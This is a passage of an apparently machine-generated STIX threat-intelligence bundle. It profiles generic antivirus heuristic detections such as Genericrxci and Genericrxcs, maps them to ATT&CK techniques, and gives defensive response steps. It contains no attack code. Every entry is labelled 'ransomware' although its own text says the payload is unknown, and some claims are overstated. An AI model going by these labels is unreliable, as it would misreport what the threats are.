      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5aa03a39-b388-5918-b01a-ceca59784886",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxci",
      "description": "Trojan:Win32/Genericrxci is a generic, heuristic detection string utilized by antivirus engines (like Microsoft Defender) to flag a file that exhibits highly suspicious, trojan-like behavior, even if it doesn't match a specific, known malware family signature. It serves as a catch-all for newly compiled, heavily obfuscated, or custom-built droppers and payloads (`T1027`).<br><br><b>Understanding Genericrxci (Heuristic Detections)</b><br>To an end-user, the AV prevents the file from running and issues a generic warning. For a SOC analyst, a 'Generic' or 'Gen' detection requires further investigation. Because the AV engine couldn't positively identify the family, the actual capability of the malware (whether it's ransomware, a RAT, or a cryptominer) is unknown until the file undergoes dynamic analysis.<br><br><b>Execution and Behavioral Mechanics</b><br>Files flagged as Genericrxci usually trigger behavioral heuristics rather than static signature matches. This means the AV engine observed the file attempting dangerous actions: injecting code into legitimate processes (`T1055`), attempting to disable security software (`T1562.001`), rapidly modifying the Windows Registry Run keys for persistence (`T1547.001`), or utilizing severe packing/encryption to hide its true code structure (`T1027.002`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is entirely dependent on the payload hidden within the generic dropper. Host-based IoCs are focused on the behaviors that triggered the heuristic alert: anomalous child process spawning (e.g., a Word document spawning `cmd.exe` or `powershell.exe`), or an unsigned executable making unauthorized registry edits. Network IoCs require dynamic analysis of the file in a sandbox to observe its C2 communication patterns. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxci",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxci"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4ec5d13-f16a-5d96-9142-7b8c6d534557",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5aa03a39-b388-5918-b01a-ceca59784886",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxci exhibits technique T1027 (Obfuscated Files or Information (The primary reason for a generic detection is packing/encryption))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e3b2652-0c91-5989-b801-32b91bc519e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5aa03a39-b388-5918-b01a-ceca59784886",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxci exhibits technique T1055 (Process Injection (A common behavior that triggers heuristic flags))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ea2fc81-c803-549c-9e7b-2569982e6f10",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5aa03a39-b388-5918-b01a-ceca59784886",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxci exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys (Suspicious persistence mechanisms))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--02fbbefa-e9f1-5f02-ab2a-9b07404b1fe6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxck",
      "description": "Trojan:Win32/Genericrxck is a generic, heuristic detection string utilized by antivirus engines (like Microsoft Defender) to flag a file that exhibits highly suspicious, trojan-like behavior, even if it doesn't match a specific, known malware family signature. It serves as a catch-all for newly compiled, heavily obfuscated, or custom-built droppers and payloads (`T1027`).<br><br><b>Understanding Genericrxck (Heuristic Detections)</b><br>To an end-user, the AV prevents the file from running and issues a generic warning. For a SOC analyst, a 'Generic' or 'Gen' detection requires further investigation. Because the AV engine couldn't positively identify the family, the actual capability of the malware (whether it's ransomware, a RAT, or a cryptominer) is unknown until the file undergoes dynamic analysis.<br><br><b>Execution and Behavioral Mechanics</b><br>Files flagged as Genericrxck usually trigger behavioral heuristics rather than static signature matches. This means the AV engine observed the file attempting dangerous actions: injecting code into legitimate processes (`T1055`), attempting to disable security software (`T1562.001`), rapidly modifying the Windows Registry Run keys for persistence (`T1547.001`), or utilizing severe packing/encryption to hide its true code structure (`T1027.002`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is entirely dependent on the payload hidden within the generic dropper. Host-based IoCs are focused on the behaviors that triggered the heuristic alert: anomalous child process spawning (e.g., a Word document spawning `cmd.exe` or `powershell.exe`), or an unsigned executable making unauthorized registry edits. Network IoCs require dynamic analysis of the file in a sandbox to observe its C2 communication patterns. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxck",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxck"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1975f061-3c82-571e-9c88-300edc4a347c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--02fbbefa-e9f1-5f02-ab2a-9b07404b1fe6",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxck exhibits technique T1027 (Obfuscated Files or Information (The primary reason for a generic detection is packing/encryption))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2c0aeaeb-5882-59a5-a876-8c4bd1aac08e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--02fbbefa-e9f1-5f02-ab2a-9b07404b1fe6",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxck exhibits technique T1055 (Process Injection (A common behavior that triggers heuristic flags))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--92fe3b3b-7e34-564d-976f-ae6d413dbe84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--02fbbefa-e9f1-5f02-ab2a-9b07404b1fe6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxck exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys (Suspicious persistence mechanisms))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3ba4d61d-f6a1-5c97-b703-e93ffab475d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxcl",
      "description": "Trojan:Win32/Genericrxcl is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Genericrxcl</b><br>To an end-user, a Genericrxcl infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Genericrxcl is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Genericrxcl is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Genericrxcl frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Genericrxcl reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxcl",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxcl"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f81b8665-b51c-506d-b4c1-e49290004f91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3ba4d61d-f6a1-5c97-b703-e93ffab475d5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcl exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac2bb13c-a7fd-5b34-93b2-afd708bfaa7c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3ba4d61d-f6a1-5c97-b703-e93ffab475d5",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcl exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a766fa22-e18b-5b00-8d56-7656691e8ae0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3ba4d61d-f6a1-5c97-b703-e93ffab475d5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcl exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a1774587-37ea-57e1-b901-187e9a55ebc5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3ba4d61d-f6a1-5c97-b703-e93ffab475d5",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcl exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--69bf7134-da69-5fd6-ae51-7a38539a8ac8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3ba4d61d-f6a1-5c97-b703-e93ffab475d5",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcl exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f7817985-8534-5f4d-8d2d-3e16cb187ae3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxcp",
      "description": "Trojan:Win32/Genericrxcp is a generic, heuristic detection string utilized by antivirus engines (like Microsoft Defender) to flag a file that exhibits highly suspicious, trojan-like behavior, even if it doesn't match a specific, known malware family signature. It serves as a catch-all for newly compiled, heavily obfuscated, or custom-built droppers and payloads (`T1027`).<br><br><b>Understanding Genericrxcp (Heuristic Detections)</b><br>To an end-user, the AV prevents the file from running and issues a generic warning. For a SOC analyst, a 'Generic' or 'Gen' detection requires further investigation. Because the AV engine couldn't positively identify the family, the actual capability of the malware (whether it's ransomware, a RAT, or a cryptominer) is unknown until the file undergoes dynamic analysis.<br><br><b>Execution and Behavioral Mechanics</b><br>Files flagged as Genericrxcp usually trigger behavioral heuristics rather than static signature matches. This means the AV engine observed the file attempting dangerous actions: injecting code into legitimate processes (`T1055`), attempting to disable security software (`T1562.001`), rapidly modifying the Windows Registry Run keys for persistence (`T1547.001`), or utilizing severe packing/encryption to hide its true code structure (`T1027.002`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is entirely dependent on the payload hidden within the generic dropper. Host-based IoCs are focused on the behaviors that triggered the heuristic alert: anomalous child process spawning (e.g., a Word document spawning `cmd.exe` or `powershell.exe`), or an unsigned executable making unauthorized registry edits. Network IoCs require dynamic analysis of the file in a sandbox to observe its C2 communication patterns. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxcp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxcp"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b2694d2c-76aa-5d44-9c87-837a091d1dc2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7817985-8534-5f4d-8d2d-3e16cb187ae3",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcp exhibits technique T1027 (Obfuscated Files or Information (The primary reason for a generic detection is packing/encryption))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d6d7360c-4502-52e2-9018-745a48bd0f14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7817985-8534-5f4d-8d2d-3e16cb187ae3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcp exhibits technique T1055 (Process Injection (A common behavior that triggers heuristic flags))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33b6cbe1-4005-5919-b9ad-159bd8c6f494",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7817985-8534-5f4d-8d2d-3e16cb187ae3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcp exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys (Suspicious persistence mechanisms))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fb6da760-54e0-515f-a93e-30f8f0a46cf2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxcr",
      "description": "<h3>Executive Summary</h3>\nGenericRXCR is a heuristic detection signature utilized by enterprise antivirus and EDR engines to identify files exhibiting behaviors strongly correlated with malicious Trojans or obfuscated droppers. The \"RXCR\" designation generally points to specific cryptor/packer signatures, anomalous API calls, or behavioral patterns detected during execution, though it does not necessarily map to a single, named malware family. It is frequently associated with the initial stages of a compromise, where an executable attempts to establish persistence and download a secondary payload.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFiles flagged as GenericRXCR are typically encountered via drive-by downloads from compromised websites, as malicious attachments in generic spam campaigns, or hidden within \"cracked\" software installers.\n\nUpon execution, these files generally exhibit suspicious, evasive behavior:\n<ul>\n<li><strong>Deobfuscation and Process Injection:</strong> The executable often attempts to unpack its true malicious code directly into the memory space of a legitimate Windows process (like `svchost.exe` or `explorer.exe`) to evade file-based antivirus scanning (Process Hollowing or Reflective DLL Injection).</li>\n<li><strong>Unauthorized Network Connections:</strong> The malware will attempt to establish outbound connections to unknown IP addresses, likely attempting to contact a Command and Control (C2) server to receive instructions or download a secondary payload (such as ransomware or an info-stealer).</li>\n<li><strong>Persistence Mechanisms:</strong> To ensure it survives a system reboot, the malware will likely modify the Windows Registry, often adding entries to the `Run` keys, altering service configurations, or creating malicious Scheduled Tasks.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA GenericRXCR detection must be treated as a serious indicator of compromise. Because it is a generic, behavioral detection, the specific intent of the malware is unknown until further forensic analysis is performed. It represents an active attempt to establish a persistent, unauthorized foothold on the endpoint.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Endpoint Isolation and Triage:</strong> Isolate the endpoint from the corporate network immediately to prevent any potential lateral movement or the successful download of a secondary payload.</li>\n<li><strong>Behavioral Analysis (EDR):</strong> Utilize EDR telemetry to trace the execution path of the flagged file. Identify any child processes it spawned, network connections it attempted, or registry keys it modified.</li>\n<li><strong>Anti-Malware Remediation:</strong> Run a comprehensive, deep system scan using an updated enterprise AV solution to quarantine the original file and remove any persistence mechanisms it managed to establish.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.GenericRXCR",
        "Malware.Generic.RXCR",
        "Suspicious.Dropper"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxcr",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxcr"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ae11d1c-82eb-5ac6-850f-4767d23c5c3f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb6da760-54e0-515f-a93e-30f8f0a46cf2",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcr exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be615033-2e71-5c0b-9df7-e23b4849d72a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb6da760-54e0-515f-a93e-30f8f0a46cf2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcr exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28d8aaa0-7777-54ce-a6e4-76c7fe7e5802",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb6da760-54e0-515f-a93e-30f8f0a46cf2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcr exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8f92ad8a-0273-578c-9986-cfedf4e6d903",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxcs",
      "description": "<h3>Executive Summary</h3>\n\"GenericRxcs\" (often displayed as Trojan.GenericRxcs or Heur.GenericRxcs) is a broad, machine-generated heuristic detection signature utilized by advanced antivirus engines. It acts as a \"catch-all\" classification indicating that a file or process exhibits suspicious behavioral characteristics or code structures that strongly correlate with newly discovered, unidentified malware that lacks a static signature.\n\n<h3>Heuristic Detection and Behavioral Context</h3>\nA GenericRxcs alert typically fires when an unknown file triggers a combination of behavioral rules during dynamic analysis (sandboxing) or heuristic static scanning. Common triggers include:\n<ul>\n<li><strong>High Code Entropy:</strong> The executable is heavily packed, encrypted, or obfuscated, indicating an attempt to hide its true payload from static analysis tools.</li>\n<li><strong>Suspicious API Calls:</strong> The program attempts to execute sequences of Windows APIs commonly used by malware, such as attempting process injection (e.g., `VirtualAllocEx`, `WriteProcessMemory`), modifying critical registry keys for persistence, or attempting to silently download secondary executable files from untrusted IPs.</li>\n<li><strong>Evasion Tactics:</strong> The binary contains anti-debugging or anti-VM (Virtual Machine) instructions, attempting to determine if it is being analyzed by security researchers.</li>\n</ul>\n\n<h3>Threat Impact and Response</h3>\nWhile a generic detection lacks the precise context of a known family, a GenericRxcs alert is a severe security event. It definitively indicates the presence of a zero-day threat, a newly compiled variant of a known trojan, or a highly evasive initial access dropper that the antivirus engine has flagged purely based on malicious intent.\n\n<h3>Incident Response Guidelines</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Treat the alert as a verified infection. Isolate the endpoint from the corporate network immediately to prevent potential data exfiltration or the download of secondary payloads (like ransomware).</li>\n<li><strong>Sandbox Detonation:</strong> Extract the flagged executable and submit it to an isolated, advanced malware sandbox (e.g., Cuckoo, Any.Run) to monitor its full execution lifecycle, identify the true payload, and generate actionable Indicators of Compromise (IOCs).</li>\n<li><strong>Hash Enrichment Lookups:</strong> Take the full file hash associated with the alert and query it against threat intelligence platforms (like VirusTotal) to see if other security vendors have identified the specific malware family.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.GenericRxcs",
        "Heur:Trojan.Win32.Generic",
        "Suspicious.GenericRxcs"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxcs",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxcs"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4fa9d795-acfc-555c-962b-bd9a8c2a027f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f92ad8a-0273-578c-9986-cfedf4e6d903",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcs exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e58ecbf-e8b4-5dfc-8bca-101229223cd1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f92ad8a-0273-578c-9986-cfedf4e6d903",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcs exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1c1acc1-e6fb-55d9-8fb5-e6a008a4fc6a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f92ad8a-0273-578c-9986-cfedf4e6d903",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcs exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f9e01750-03b1-5f4f-bb1d-fb6f4c2d2957",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxcu",
      "description": "<h3>Executive Summary</h3>\nGenericRXCU is a heuristic detection signature utilized by various antivirus engines to identify files exhibiting behaviors strongly correlated with malicious Trojans or generic droppers. The \"RXCU\" designation often points to specific code packing techniques or behavioral anomalies detected during execution, though it does not necessarily map to a single, well-defined malware family. It is frequently associated with the initial stages of a compromise, where an obfuscated executable attempts to download a secondary payload.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFiles flagged as GenericRXCU are typically encountered via drive-by downloads from compromised websites, as malicious attachments in generic spam campaigns, or hidden within pirated software installers.\n\nUpon execution, these files generally exhibit suspicious, dropper-like behavior:\n<ul>\n<li><strong>Process Injection or Hollowing:</strong> The executable often attempts to unpack its true malicious code directly into the memory space of a legitimate Windows process (like `svchost.exe` or `explorer.exe`) to evade file-based antivirus scanning.</li>\n<li><strong>Unauthorized Network Connections:</strong> The malware will attempt to establish outbound connections to unknown IP addresses or recently registered domains, likely attempting to contact a Command and Control (C2) server to receive instructions or download a secondary payload (such as ransomware or an info-stealer).</li>\n<li><strong>Registry Manipulation:</strong> To ensure it survives a system reboot, the malware will likely modify the Windows Registry, often adding entries to the `Run` keys or creating malicious Scheduled Tasks.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA GenericRXCU detection should be treated as a serious indicator of compromise. Because it is a generic, behavioral detection, the specific intent of the malware is unknown until further analysis is performed. It represents an active attempt by an unknown threat actor to establish a persistent foothold on the endpoint.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Endpoint Isolation and Triage:</strong> Isolate the endpoint from the corporate network immediately to prevent any potential lateral movement or the successful download of a secondary payload.</li>\n<li><strong>Behavioral Analysis (EDR):</strong> Utilize Endpoint Detection and Response (EDR) telemetry to trace the execution path of the flagged file. Identify any child processes it spawned, network connections it attempted, or registry keys it modified.</li>\n<li><strong>Anti-Malware Remediation:</strong> Run a comprehensive, deep system scan using an updated enterprise AV solution to quarantine the original file and remove any persistence mechanisms it managed to establish.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.GenericRXCU",
        "Malware.Generic.RXCU",
        "Suspicious.Dropper"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxcu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxcu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5fce7c76-d596-5a03-bd81-41e1187971e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9e01750-03b1-5f4f-bb1d-fb6f4c2d2957",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcu exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0b35d4b-9080-5758-a586-2df7618ac58f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9e01750-03b1-5f4f-bb1d-fb6f4c2d2957",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--96a27505-25aa-59e4-be5a-17334ea5d9f6",
